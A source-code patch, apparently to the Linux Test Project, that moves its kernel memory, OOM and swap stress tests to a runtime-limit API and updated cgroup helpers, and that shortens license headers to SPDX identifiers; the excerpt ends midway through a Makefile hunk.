diff --git a/testcases/kernel/mem/mmapstress/Makefile b/testcases/kernel/mem/mmapstress/Makefile
index 5691f7d..744f099 100644
--- a/testcases/kernel/mem/mmapstress/Makefile
+++ b/testcases/kernel/mem/mmapstress/Makefile
@@ -1,20 +1,5 @@
-#
-#  Copyright (c) International Business Machines  Corp., 2001
-#
-#  This program is free software;  you can redistribute it and/or modify
-#  it under the terms of the GNU General Public License as published by
-#  the Free Software Foundation; either version 2 of the License, or
-#  (at your option) any later version.
-#
-#  This program is distributed in the hope that it will be useful,
-#  but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#  the GNU General Public License for more details.
-#
-#  You should have received a copy of the GNU General Public License
-#  along with this program;  if not, write to the Free Software
-#  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2001
 
 top_srcdir              ?= ../../../..
 
diff --git a/testcases/kernel/mem/mmapstress/mmapstress01.c b/testcases/kernel/mem/mmapstress/mmapstress01.c
index 3b4b1ac..f425c22 100644
--- a/testcases/kernel/mem/mmapstress/mmapstress01.c
+++ b/testcases/kernel/mem/mmapstress/mmapstress01.c
@@ -95,7 +95,6 @@
 #undef roundup
 #endif
 #define roundup(x, y)	((((x)+((y)-1))/(y))*(y))
-#define min(x, y)	(((x) < (y)) ? (x) : (y))
 
 extern time_t time(time_t *);
 extern char *ctime(const time_t *);
@@ -311,7 +310,7 @@
 		anyfail();
 	}
 	for (bytes_left = filesize; bytes_left; bytes_left -= c) {
-		write_cnt = min(pagesize, bytes_left);
+		write_cnt = MIN(pagesize, (int)bytes_left);
 		if ((c = write(fd, buf, write_cnt)) != write_cnt) {
 			if (c == -1) {
 				perror("write error");
diff --git a/testcases/kernel/mem/mmapstress/mmapstress09.c b/testcases/kernel/mem/mmapstress/mmapstress09.c
index 2c710df..0a8da00 100644
--- a/testcases/kernel/mem/mmapstress/mmapstress09.c
+++ b/testcases/kernel/mem/mmapstress/mmapstress09.c
@@ -78,7 +78,6 @@
 #undef roundup
 #endif
 #define roundup(x, y)	((((x)+((y)-1))/(y))*(y))
-#define min(x, y)	(((x) < (y)) ? (x) : (y))
 
 extern time_t time(time_t *);
 extern char *ctime(const time_t *);
diff --git a/testcases/kernel/mem/mmapstress/mmapstress10.c b/testcases/kernel/mem/mmapstress/mmapstress10.c
index 26ea98b..53f02c1 100644
--- a/testcases/kernel/mem/mmapstress/mmapstress10.c
+++ b/testcases/kernel/mem/mmapstress/mmapstress10.c
@@ -106,7 +106,6 @@
 #undef roundup
 #endif
 #define roundup(x, y)	((((x)+((y)-1))/(y))*(y))
-#define min(x, y)	(((x) < (y)) ? (x) : (y))
 
 #define SIZE_MAX UINT_MAX
 
@@ -361,7 +360,7 @@
 	}
 
 	for (bytes_left = filesize; bytes_left; bytes_left -= c) {
-		write_cnt = min(pagesize, bytes_left);
+		write_cnt = MIN(pagesize, (int)bytes_left);
 		if ((c = write(fd, (char *)buf, write_cnt)) != write_cnt) {
 			if (c == -1) {
 				perror("write error");
diff --git a/testcases/kernel/mem/mtest01/Makefile b/testcases/kernel/mem/mtest01/Makefile
index dbf5387..370f0d0 100644
--- a/testcases/kernel/mem/mtest01/Makefile
+++ b/testcases/kernel/mem/mtest01/Makefile
@@ -1,24 +1,6 @@
-#
-#    kernel/mem/mtest01 testcase Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir              ?= ../../../..
 
diff --git a/testcases/kernel/mem/mtest01/mtest01.c b/testcases/kernel/mem/mtest01/mtest01.c
index 9676ea4..fb991ce 100644
--- a/testcases/kernel/mem/mtest01/mtest01.c
+++ b/testcases/kernel/mem/mtest01/mtest01.c
@@ -41,8 +41,6 @@
 #define ALLOC_THRESHOLD		(6*FIVE_HUNDRED_MB)
 #endif
 
-#define STOP_THRESHOLD 15	/* seconds remaining before reaching timeout */
-
 static pid_t *pid_list;
 static sig_atomic_t children_done;
 static int max_pids;
@@ -137,6 +135,7 @@
 {
 	unsigned long bytecount = 0;
 	char *mem;
+	int runtime_rem;
 
 	tst_res(TINFO, "... child %d starting", getpid());
 
@@ -153,12 +152,15 @@
 		if (bytecount >= alloc_bytes)
 			break;
 	}
+
+	runtime_rem = tst_remaining_runtime();
+
 	if (dowrite)
 		tst_res(TINFO, "... [t=%d] %lu bytes allocated and used in child %d",
-				tst_timeout_remaining(), bytecount, getpid());
+				runtime_rem, bytecount, getpid());
 	else
 		tst_res(TINFO, "... [t=%d] %lu bytes allocated only in child %d",
-				tst_timeout_remaining(), bytecount, getpid());
+				runtime_rem, bytecount, getpid());
 
 	kill(getppid(), SIGRTMIN);
 	raise(SIGSTOP);
@@ -195,10 +197,9 @@
 
 	/* wait in the loop for all children finish allocating */
 	while (children_done < pid_cntr) {
-		if (tst_timeout_remaining() < STOP_THRESHOLD) {
+		if (!tst_remaining_runtime()) {
 			tst_res(TWARN,
 				"the remaininig time is not enough for testing");
-
 			break;
 		}
 
@@ -227,13 +228,14 @@
 static struct tst_test test = {
 	.forks_child = 1,
 	.options = (struct tst_option[]) {
-		{"c:", &opt_chunksize,	"-c  size of chunk in bytes to malloc on each pass"},
-		{"b:", &opt_maxbytes,	"-b  maximum number of bytes to allocate before stopping"},
-		{"p:", &opt_maxpercent, "-p  percent of total memory used at which the program stops"},
-		{"w",  &dowrite,   	"-w  write to the memory after allocating"},
-		{"v",  &verbose,     	"-v  verbose"},
+		{"c:", &opt_chunksize,	"Size of chunk in bytes to malloc on each pass"},
+		{"b:", &opt_maxbytes,	"Maximum number of bytes to allocate before stopping"},
+		{"p:", &opt_maxpercent, "Percent of total memory used at which the program stops"},
+		{"w",  &dowrite,   	"Write to the memory after allocating"},
+		{"v",  &verbose,     	"Verbose"},
 		{}
 	},
+	.max_runtime = 300,
 	.setup = setup,
 	.cleanup = cleanup,
 	.test_all = mem_test,
diff --git a/testcases/kernel/mem/mtest06/Makefile b/testcases/kernel/mem/mtest06/Makefile
index 88e4632..acb8f7c 100644
--- a/testcases/kernel/mem/mtest06/Makefile
+++ b/testcases/kernel/mem/mtest06/Makefile
@@ -1,24 +1,6 @@
-#
-#    kernel/mem/mtest06 testcase Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir              ?= ../../../..
 
diff --git a/testcases/kernel/mem/mtest06/mmap1.c b/testcases/kernel/mem/mtest06/mmap1.c
index 10c47c3..6726f11 100644
--- a/testcases/kernel/mem/mtest06/mmap1.c
+++ b/testcases/kernel/mem/mtest06/mmap1.c
@@ -42,10 +42,8 @@
 
 static int file_size = 1024;
 static int num_iter = 5000;
-static float exec_time = 0.05; /* default is 3 min */
 
 static void *distant_area;
-static char *str_exec_time;
 static jmp_buf jmpbuf;
 static volatile unsigned char *map_address;
 static unsigned long page_sz;
@@ -206,17 +204,10 @@
 	SAFE_MUNMAP(distant_area, distant_mmap_size);
 	distant_area += distant_mmap_size / 2;
 
-	if (tst_parse_float(str_exec_time, &exec_time, 0, FLT_MAX)) {
-		tst_brk(TBROK, "Invalid number for exec_time '%s'",
-			str_exec_time);
-	}
-
 	sigptr.sa_sigaction = sig_handler;
 	sigemptyset(&sigptr.sa_mask);
 	sigptr.sa_flags = SA_SIGINFO | SA_NODEFER;
 	SAFE_SIGACTION(SIGSEGV, &sigptr, NULL);
-
-	tst_set_timeout((int)(exec_time * 3600));
 }
 
 static void run(void)
@@ -224,8 +215,8 @@
 	pthread_t thid[2];
 	int start, last_update;
 
-	start = last_update = tst_timeout_remaining();
-	while (tst_timeout_remaining() > STOP_THRESHOLD) {
+	start = last_update = tst_remaining_runtime();
+	while (tst_remaining_runtime()) {
 		int fd = mkfile(file_size);
 
 		tst_atomic_store(0, &mapcnt);
@@ -240,11 +231,11 @@
 
 		close(fd);
 
-		if (last_update - tst_timeout_remaining() >= PROGRESS_SEC) {
-			last_update = tst_timeout_remaining();
+		if (last_update - tst_remaining_runtime() >= PROGRESS_SEC) {
+			last_update = tst_remaining_runtime();
 			tst_res(TINFO, "[%03d] mapped: %lu, sigsegv hit: %lu, "
 				"threads spawned: %lu",
-				start - tst_timeout_remaining(),
+				start - last_update,
 				map_count, mapped_sigsegv_count,
 				threads_spawned);
 			tst_res(TINFO, "      repeated_reads: %ld, "
@@ -258,9 +249,6 @@
 static struct tst_test test = {
 	.test_all = run,
 	.setup = setup,
-	.options = (struct tst_option[]) {
-		{"x:", &str_exec_time, "Exec time (hours)"},
-		{}
-	},
+	.max_runtime = 180,
 	.needs_tmpdir = 1,
 };
diff --git a/testcases/kernel/mem/mtest06/mmap3.c b/testcases/kernel/mem/mtest06/mmap3.c
index c18bd2f..ec125b1 100644
--- a/testcases/kernel/mem/mtest06/mmap3.c
+++ b/testcases/kernel/mem/mtest06/mmap3.c
@@ -23,11 +23,9 @@
 static char *str_loops;
 static char *str_threads;
 static char *map_private;
-static char *str_exec_time;
 
 static int loops = 1000;
 static int threads = 40;
-static float exec_time = 24;
 
 static volatile int sig_caught;
 static int threads_running;
@@ -109,7 +107,7 @@
 	long i;
 	pthread_t thids[threads];
 
-	alarm(exec_time * 3600);
+	alarm(tst_remaining_runtime());
 
 	while (!sig_caught) {
 		for (i = 0; i < threads; i++) {
@@ -138,11 +136,6 @@
 	if (tst_parse_int(str_threads, &threads, 1, INT_MAX))
 		tst_brk(TBROK, "Invalid number of threads '%s'", str_threads);
 
-	if (tst_parse_float(str_exec_time, &exec_time, 0.0005, 9000))
-		tst_brk(TBROK, "Invalid execution time '%s'", str_exec_time);
-
-	tst_set_timeout(exec_time * 3600 + 300);
-
 	SAFE_SIGNAL(SIGALRM, sig_handler);
 	SAFE_SIGNAL(SIGBUS, sig_handler);
 	SAFE_SIGNAL(SIGSEGV, sig_handler);
@@ -155,7 +148,6 @@
 	tst_res(TINFO, "Number of loops %i", loops);
 	tst_res(TINFO, "Number of threads %i", threads);
 	tst_res(TINFO, "MAP_PRIVATE = %i", map_private ? 1 : 0);
-	tst_res(TINFO, "Execution time %fH", exec_time);
 }
 
 static void cleanup(void)
@@ -181,14 +173,14 @@
 
 static struct tst_test test = {
 	.options = (struct tst_option[]) {
-		{"l:", &str_loops, "-l uint  Number of map-write-unmap loops"},
-		{"n:", &str_threads, "-n uint  Number of worker threads"},
-		{"p", &map_private, "-p       Turns on MAP_PRIVATE (default MAP_SHARED)"},
-		{"x:", &str_exec_time, "-x float Execution time in hours (default 24H)"},
+		{"l:", &str_loops, "Number of map-write-unmap loops"},
+		{"n:", &str_threads, "Number of worker threads"},
+		{"p", &map_private, "Turns on MAP_PRIVATE (default MAP_SHARED)"},
 		{}
 	},
 	.needs_tmpdir = 1,
 	.setup = setup,
 	.cleanup = cleanup,
 	.test_all = test_mmap,
+	.max_runtime = 60,
 };
diff --git a/testcases/kernel/mem/mtest07/Makefile b/testcases/kernel/mem/mtest07/Makefile
index 6530296..4068a0d 100644
--- a/testcases/kernel/mem/mtest07/Makefile
+++ b/testcases/kernel/mem/mtest07/Makefile
@@ -1,24 +1,6 @@
-#
-#    kernel/mem/mtest07 testcase Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir              ?= ../../../..
 
diff --git a/testcases/kernel/mem/mtest07/mallocstress.c b/testcases/kernel/mem/mtest07/mallocstress.c
index fa7494e..2d047cf 100644
--- a/testcases/kernel/mem/mtest07/mallocstress.c
+++ b/testcases/kernel/mem/mtest07/mallocstress.c
@@ -62,7 +62,7 @@
  *  0: success
  *  1: failure
  */
-int allocate_free(int scheme)
+int allocate_free(int scheme, int threadnum)
 {
 	int loop;
 	const int MAXPTRS = 50;	/* only 42 or so get used on 32 bit machine */
@@ -127,6 +127,11 @@
 		}
 
 		my_yield();
+
+		if (!tst_remaining_runtime()) {
+			tst_res(TINFO, "Thread [%d]: Test runtime is over, exiting", threadnum);
+			break;
+		}
 	}
 
 	/* Success! */
@@ -141,7 +146,7 @@
 	TST_CHECKPOINT_WAIT(0);
 
 	/* thread N will use growth scheme N mod 4 */
-	err = allocate_free(((uintptr_t)threadnum) % 4);
+	err = allocate_free(((uintptr_t)threadnum) % 4, (uintptr_t)threadnum);
 	tst_res(TINFO,
 		"Thread [%d]: allocate_free() returned %d, %s.  Thread exiting.\n",
 		(int)(uintptr_t)threadnum, err,
@@ -189,7 +194,7 @@
 }
 
 static struct tst_test test = {
-	.timeout = 600,
+	.max_runtime = 600,
 	.needs_checkpoints = 1,
 	.setup = setup,
 	.cleanup = cleanup,
diff --git a/testcases/kernel/mem/oom/oom01.c b/testcases/kernel/mem/oom/oom01.c
index 258bfd8..9f7d765 100644
--- a/testcases/kernel/mem/oom/oom01.c
+++ b/testcases/kernel/mem/oom/oom01.c
@@ -63,7 +63,7 @@
 static struct tst_test test = {
 	.needs_root = 1,
 	.forks_child = 1,
-	.timeout = -1,
+	.max_runtime = TST_UNLIMITED_RUNTIME,
 	.setup = setup,
 	.cleanup = cleanup,
 	.test_all = verify_oom,
diff --git a/testcases/kernel/mem/oom/oom02.c b/testcases/kernel/mem/oom/oom02.c
index 2b9bcb1..b3719f7 100644
--- a/testcases/kernel/mem/oom/oom02.c
+++ b/testcases/kernel/mem/oom/oom02.c
@@ -70,7 +70,7 @@
 static struct tst_test test = {
 	.needs_root = 1,
 	.forks_child = 1,
-	.timeout = -1,
+        .max_runtime = TST_UNLIMITED_RUNTIME,
 	.setup = setup,
 	.cleanup = cleanup,
 	.test_all = verify_oom,
diff --git a/testcases/kernel/mem/oom/oom03.c b/testcases/kernel/mem/oom/oom03.c
index 9394137..0882c9b 100644
--- a/testcases/kernel/mem/oom/oom03.c
+++ b/testcases/kernel/mem/oom/oom03.c
@@ -36,8 +36,6 @@
 
 #ifdef HAVE_NUMA_V2
 
-static const struct tst_cgroup_group *cg;
-
 static void verify_oom(void)
 {
 #ifdef TST_ABI32
@@ -45,9 +43,29 @@
 #endif
 	testoom(0, 0, ENOMEM, 1);
 
-	if (SAFE_CGROUP_HAS(cg, "memory.swap.max")) {
-		SAFE_CGROUP_PRINTF(cg, "memory.swap.max", "%lu", TESTMEM);
+	if (SAFE_CG_HAS(tst_cg, "memory.swap.max")) {
+		tst_res(TINFO, "OOM on MEMCG with special memswap limitation:");
+		/*
+		 * Cgroup v2 tracks memory and swap in separate, which splits
+		 * memory and swap counter. So with swappiness enable (default
+		 * value is 60 on RHEL), it likely has part of memory swapping
+		 * out during the allocating.
+		 *
+		 * To get more opportunities to reach the swap limitation,
+		 * let's scale down the value of 'memory.swap.max' to only
+		 * 1MB for CGroup v2.
+		 */
+		if (!TST_CG_VER_IS_V1(tst_cg, "memory"))
+			SAFE_CG_PRINTF(tst_cg, "memory.swap.max", "%lu", MB);
+		else
+			SAFE_CG_PRINTF(tst_cg, "memory.swap.max", "%lu", TESTMEM + MB);
+
 		testoom(0, 1, ENOMEM, 1);
+
+		if (TST_CG_VER_IS_V1(tst_cg, "memory"))
+			SAFE_CG_PRINTF(tst_cg, "memory.swap.max", "%lu", ~0UL);
+		else
+			SAFE_CG_PRINT(tst_cg, "memory.swap.max", "max");
 	}
 
 	/* OOM for MEMCG with mempolicy */
@@ -64,26 +82,24 @@
 	overcommit = get_sys_tune("overcommit_memory");
 	set_sys_tune("overcommit_memory", 1, 1);
 
-	tst_cgroup_require("memory", NULL);
-	cg = tst_cgroup_get_test_group();
-	SAFE_CGROUP_PRINTF(cg, "cgroup.procs", "%d", getpid());
-	SAFE_CGROUP_PRINTF(cg, "memory.max", "%lu", TESTMEM);
+	SAFE_CG_PRINTF(tst_cg, "cgroup.procs", "%d", getpid());
+	SAFE_CG_PRINTF(tst_cg, "memory.max", "%lu", TESTMEM);
 }
 
 static void cleanup(void)
 {
 	if (overcommit != -1)
 		set_sys_tune("overcommit_memory", overcommit, 0);
-	tst_cgroup_cleanup();
 }
 
 static struct tst_test test = {
 	.needs_root = 1,
 	.forks_child = 1,
-	.timeout = -1,
+	.max_runtime = TST_UNLIMITED_RUNTIME,
 	.setup = setup,
 	.cleanup = cleanup,
 	.test_all = verify_oom,
+	.needs_cgroup_ctrls = (const char *const []){ "memory", NULL },
 };
 
 #else
diff --git a/testcases/kernel/mem/oom/oom04.c b/testcases/kernel/mem/oom/oom04.c
index f84328f..ad39f7e 100644
--- a/testcases/kernel/mem/oom/oom04.c
+++ b/testcases/kernel/mem/oom/oom04.c
@@ -36,8 +36,6 @@
 
 #ifdef HAVE_NUMA_V2
 
-static const struct tst_cgroup_group *cg;
-
 static void verify_oom(void)
 {
 #ifdef TST_ABI32
@@ -47,13 +45,13 @@
 	testoom(0, 0, ENOMEM, 1);
 
 	if (is_numa(NULL, NH_MEMS, 2) &&
-	    SAFE_CGROUP_HAS(cg, "cpuset.memory_migrate")) {
+	    SAFE_CG_HAS(tst_cg, "cpuset.memory_migrate")) {
 		/*
 		 * Under NUMA system, the migration of cpuset's memory
 		 * is in charge of cpuset.memory_migrate, we can write
 		 * 1 to cpuset.memory_migrate to enable the migration.
 		 */
-		SAFE_CGROUP_PRINT(cg, "cpuset.memory_migrate", "1");
+		SAFE_CG_PRINT(tst_cg, "cpuset.memory_migrate", "1");
 
 		tst_res(TINFO, "OOM on CPUSET with mem migrate:");
 		testoom(0, 0, ENOMEM, 1);
@@ -70,9 +68,6 @@
 	overcommit = get_sys_tune("overcommit_memory");
 	set_sys_tune("overcommit_memory", 1, 1);
 
-	tst_cgroup_require("cpuset", NULL);
-	cg = tst_cgroup_get_test_group();
-
 	/*
 	 * Some nodes do not contain memory, so use
 	 * get_allowed_nodes(NH_MEMS) to get a memory
@@ -83,24 +78,24 @@
 	if (ret < 0)
 		tst_brk(TBROK, "Failed to get a memory node "
 			      "using get_allowed_nodes()");
-	write_cpusets(cg, memnode);
-	SAFE_CGROUP_PRINTF(cg, "cgroup.procs", "%d", getpid());
+	write_cpusets(tst_cg, memnode);
+	SAFE_CG_PRINTF(tst_cg, "cgroup.procs", "%d", getpid());
 }
 
 static void cleanup(void)
 {
 	if (overcommit != -1)
 		set_sys_tune("overcommit_memory", overcommit, 0);
-	tst_cgroup_cleanup();
 }
 
 static struct tst_test test = {
 	.needs_root = 1,
 	.forks_child = 1,
-	.timeout = -1,
+	.max_runtime = TST_UNLIMITED_RUNTIME,
 	.setup = setup,
 	.cleanup = cleanup,
 	.test_all = verify_oom,
+	.needs_cgroup_ctrls = (const char *const []){ "cpuset", NULL },
 };
 
 #else
diff --git a/testcases/kernel/mem/oom/oom05.c b/testcases/kernel/mem/oom/oom05.c
index 9c9bba7..e31146e 100644
--- a/testcases/kernel/mem/oom/oom05.c
+++ b/testcases/kernel/mem/oom/oom05.c
@@ -36,8 +36,6 @@
 
 #ifdef HAVE_NUMA_V2
 
-static const struct tst_cgroup_group *cg;
-
 static void verify_oom(void)
 {
 #ifdef TST_ABI32
@@ -53,25 +51,29 @@
 	 * 1 to cpuset.memory_migrate to enable the migration.
 	 */
 	if (is_numa(NULL, NH_MEMS, 2) &&
-	    SAFE_CGROUP_HAS(cg, "cpuset.memory_migrate")) {
-		SAFE_CGROUP_PRINT(cg, "cpuset.memory_migrate", "1");
+	    SAFE_CG_HAS(tst_cg, "cpuset.memory_migrate")) {
+		SAFE_CG_PRINT(tst_cg, "cpuset.memory_migrate", "1");
 		tst_res(TINFO, "OOM on CPUSET & MEMCG with "
 				"cpuset.memory_migrate=1");
 		testoom(0, 0, ENOMEM, 1);
 	}
 
-	if (SAFE_CGROUP_HAS(cg, "memory.swap.max")) {
+	if (SAFE_CG_HAS(tst_cg, "memory.swap.max")) {
 		tst_res(TINFO, "OOM on CPUSET & MEMCG with "
 				"special memswap limitation:");
-		SAFE_CGROUP_PRINTF(cg, "memory.swap.max", "%lu", TESTMEM);
-		testoom(0, 0, ENOMEM, 1);
+		if (!TST_CG_VER_IS_V1(tst_cg, "memory"))
+			SAFE_CG_PRINTF(tst_cg, "memory.swap.max", "%lu", MB);
+		else
+			SAFE_CG_PRINTF(tst_cg, "memory.swap.max", "%lu", TESTMEM + MB);
+
+		testoom(0, 1, ENOMEM, 1);
 
 		tst_res(TINFO, "OOM on CPUSET & MEMCG with "
 				"disabled memswap limitation:");
-		if (TST_CGROUP_VER(cg, "memory") == TST_CGROUP_V1)
-			SAFE_CGROUP_PRINTF(cg, "memory.swap.max", "%lu", ~0UL);
+		if (TST_CG_VER_IS_V1(tst_cg, "memory"))
+			SAFE_CG_PRINTF(tst_cg, "memory.swap.max", "%lu", ~0UL);
 		else
-			SAFE_CGROUP_PRINT(cg, "memory.swap.max", "max");
+			SAFE_CG_PRINT(tst_cg, "memory.swap.max", "max");
 		testoom(0, 0, ENOMEM, 1);
 	}
 }
@@ -86,10 +88,6 @@
 	overcommit = get_sys_tune("overcommit_memory");
 	set_sys_tune("overcommit_memory", 1, 1);
 
-	tst_cgroup_require("memory", NULL);
-	tst_cgroup_require("cpuset", NULL);
-	cg = tst_cgroup_get_test_group();
-
 	/*
 	 * Some nodes do not contain memory, so use
 	 * get_allowed_nodes(NH_MEMS) to get a memory
@@ -101,25 +99,27 @@
 		tst_brk(TBROK, "Failed to get a memory node "
 			      "using get_allowed_nodes()");
 
-	write_cpusets(cg, memnode);
-	SAFE_CGROUP_PRINTF(cg, "cgroup.procs", "%d", getpid());
-	SAFE_CGROUP_PRINTF(cg, "memory.max", "%lu", TESTMEM);
+	write_cpusets(tst_cg, memnode);
+	SAFE_CG_PRINTF(tst_cg, "cgroup.procs", "%d", getpid());
+	SAFE_CG_PRINTF(tst_cg, "memory.max", "%lu", TESTMEM);
 }
 
 void cleanup(void)
 {
 	if (overcommit != -1)
 		set_sys_tune("overcommit_memory", overcommit, 0);
-	tst_cgroup_cleanup();
 }
 
 static struct tst_test test = {
 	.needs_root = 1,
 	.forks_child = 1,
-	.timeout = -1,
+	.max_runtime = TST_UNLIMITED_RUNTIME,
 	.setup = setup,
 	.cleanup = cleanup,
 	.test_all = verify_oom,
+	.needs_cgroup_ctrls = (const char *const []){
+		"memory", "cpuset", NULL
+	},
 };
 
 #else
diff --git a/testcases/kernel/mem/swapping/swapping01.c b/testcases/kernel/mem/swapping/swapping01.c
index 66fc65c..fc225e4 100644
--- a/testcases/kernel/mem/swapping/swapping01.c
+++ b/testcases/kernel/mem/swapping/swapping01.c
@@ -1,27 +1,23 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (C) 2012-2017  Red Hat, Inc.
- *
- * This program is free software;  you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY;  without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- * the GNU General Public License for more details.
  */
-/*
- * swapping01 - first time swap use results in heavy swapping
+
+/*\
+ * [Description]
  *
- * This case is used for testing upstream commit: 50a1598
+ * Detect heavy swapping during first time swap use.
+ *
+ * This case is used for testing kernel commit:
+ * 50a15981a1fa ("[S390] reference bit testing for unmapped pages")
  *
  * The upstream commit fixed a issue on s390/x platform that heavy
  * swapping might occur in some condition, however since the patch
  * was quite general, this testcase will be run on all supported
  * platforms to ensure no regression been introduced.
  *
- * Details of the upstream fix:
+ * Details of the kernel fix:
+ *
  * On x86 a page without a mapper is by definition not referenced / old.
  * The s390 architecture keeps the reference bit in the storage key and
  * the current code will check the storage key for page without a mapper.
@@ -31,19 +27,20 @@
  * To avoid this behaviour change page_referenced to query the storage
  * key only if there is a mapper of the page.
  *
- * Test Strategy:
+ * [Algorithm]
+ *
  * Try to allocate memory which size is slightly larger than current
  * available memory. After allocation done, continue loop for a while
  * and calculate the used swap size. The used swap size should be small
- * enough, else it indicates that heavy swapping is occured unexpectedly.
+ * enough, else it indicates that heavy swapping is occurred unexpectedly.
  */
 
 #include <sys/types.h>
 #include <sys/wait.h>
-#include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
 #include <unistd.h>
+#include "tst_safe_stdio.h"
 #include "lapi/abisize.h"
 #include "mem.h"
 
@@ -61,40 +58,46 @@
 static long mem_over;
 static long mem_over_max;
 static pid_t pid;
+static unsigned int start_runtime;
 
 static void test_swapping(void)
 {
 #ifdef TST_ABI32
 	tst_brk(TCONF, "test is not designed for 32-bit system.");
 #endif
+	FILE *file;
+	char line[PATH_MAX];
+
+	start_runtime = tst_remaining_runtime();
+
+	file = SAFE_FOPEN("/proc/swaps", "r");
+	while (fgets(line, sizeof(line), file)) {
+		if (strstr(line, "/dev/zram")) {
+			SAFE_FCLOSE(file);
+			tst_brk(TCONF, "zram-swap is being used!");
+		}
+	}
+	SAFE_FCLOSE(file);
 
 	init_meminfo();
 
 	switch (pid = SAFE_FORK()) {
-		case 0:
-			do_alloc(0);
-			do_alloc(1);
-			exit(0);
-		default:
-			check_swapping();
+	case 0:
+		do_alloc(0);
+		do_alloc(1);
+		exit(0);
+	default:
+		check_swapping();
 	}
 }
 
 static void init_meminfo(void)
 {
 	swap_free_init = SAFE_READ_MEMINFO("SwapFree:");
-	if (FILE_LINES_SCANF("/proc/meminfo", "MemAvailable: %ld",
-		&mem_available_init)) {
-		mem_available_init = SAFE_READ_MEMINFO("MemFree:")
-			+ SAFE_READ_MEMINFO("Cached:");
-	}
+	mem_available_init = tst_available_mem();
 	mem_over = mem_available_init * COE_SLIGHT_OVER;
 	mem_over_max = mem_available_init * COE_DELTA;
 
-	/* at least 10MB available physical memory needed */
-	if (mem_available_init < 10240)
-		tst_brk(TCONF, "Not enough available mem to test.");
-
 	if (swap_free_init < mem_over_max)
 		tst_brk(TCONF, "Not enough swap space to test: swap_free_init(%ldkB) < mem_over_max(%ldkB)",
 				swap_free_init, mem_over_max);
@@ -122,7 +125,7 @@
 
 static void check_swapping(void)
 {
-	int status, i;
+	int status;
 	long swap_free_now, swapped;
 
 	/* wait child stop */
@@ -131,14 +134,14 @@
 		tst_brk(TBROK, "child was not stopped.");
 
 	/* Still occupying memory, loop for a while */
-	i = 0;
-	while (i < 30) {
+	while (tst_remaining_runtime() > start_runtime/2) {
 		swap_free_now = SAFE_READ_MEMINFO("SwapFree:");
 		sleep(1);
-		if (labs(swap_free_now - SAFE_READ_MEMINFO("SwapFree:")) < 10)
+		long diff = labs(swap_free_now - SAFE_READ_MEMINFO("SwapFree:"));
+		if (diff < 10)
 			break;
 
-		i++;
+		tst_res(TINFO, "SwapFree difference %li", diff);
 	}
 
 	swapped = SAFE_READ_PROC_STATUS(pid, "VmSwap:");
@@ -158,5 +161,15 @@
 static struct tst_test test = {
 	.needs_root = 1,
 	.forks_child = 1,
+	.min_mem_avail = 10,
+	.max_runtime = 600,
 	.test_all = test_swapping,
+	.needs_kconfigs = (const char *[]) {
+		"CONFIG_SWAP=y",
+		NULL
+	},
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "50a15981a1fa"},
+		{}
+	}
 };
diff --git a/testcases/kernel/mem/thp/Makefile b/testcases/kernel/mem/thp/Makefile
index 89abdc7..e95712e 100644
--- a/testcases/kernel/mem/thp/Makefile
+++ b/testcases/kernel/mem/thp/Makefile
@@ -1,21 +1,5 @@
-#
-#  Copyright (C) 2011  Red Hat, Inc.
-#
-#  This program is free software; you can redistribute it and/or modify
-#  it under the terms of the GNU General Public License as published by
-#  the Free Software Foundation; either version 2 of the License, or (at
-#  your option) any later version.
-#
-#  This program is distributed in the hope that it will be useful, but
-#  WITHOUT ANY WARRANTY; without even the implied warranty of
